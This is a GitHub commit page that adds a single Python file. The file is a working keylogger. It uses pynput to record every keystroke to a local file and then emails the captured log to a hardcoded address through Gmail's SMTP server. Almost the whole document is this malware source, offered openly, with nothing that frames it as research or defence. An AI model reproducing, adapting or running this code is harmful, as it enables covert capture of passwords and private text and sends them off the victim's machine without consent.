-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
dcbdd19
commit 8df78ef
Showing
1 changed file
with
60 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,60 @@ | ||
from pynput import keyboard | ||
import smtplib, ssl | ||
|
||
sender_mail = "" # Replace with email | ||
|
||
receiver_mail = "[email protected]" # Replace email id | ||
password = "T" # Enter Password | ||
port = 587 | ||
message = """From: [email protected] | ||
To: [email protected] | ||
Subject: KeyLogs | ||
Text: Keylogs | ||
""" | ||
|
||
|
||
def write(text): | ||
with open("keylogger.txt", 'a') as f: | ||
f.write(text) | ||
f.close() | ||
|
||
|
||
def on_key_press(Key): | ||
try: | ||
if (Key == keyboard.Key.enter): | ||
write("\n") | ||
else: | ||
write(Key.char) | ||
except AttributeError: | ||
if Key == keyboard.Key.backspace: | ||
write("\nBackspace Pressed\n") | ||
elif (Key == keyboard.Key.tab): | ||
write("\nTab Pressed\n") | ||
elif (Key == keyboard.Key.space): | ||
write(" ") | ||
else: | ||
temp = repr(Key) + " Pressed.\n" | ||
write(temp) | ||
print("\n{} Pressed\n".format(Key)) | ||
|
||
|
||
def on_key_release(Key): | ||
if (Key == keyboard.Key.esc): | ||
return False | ||
|
||
|
||
with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener: | ||
listener.join() | ||
|
||
with open("keylogger.txt", 'r') as f: | ||
temp = f.read() | ||
message = message + str(temp) | ||
f.close() | ||
|
||
context = ssl.create_default_context() | ||
server = smtplib.SMTP('smtp.gmail.com', port) | ||
server.starttls() | ||
server.login(sender_mail, password) | ||
server.sendmail(sender_mail, receiver_mail, message) | ||
print("Email Sent to ", sender_mail) | ||
server.quit() |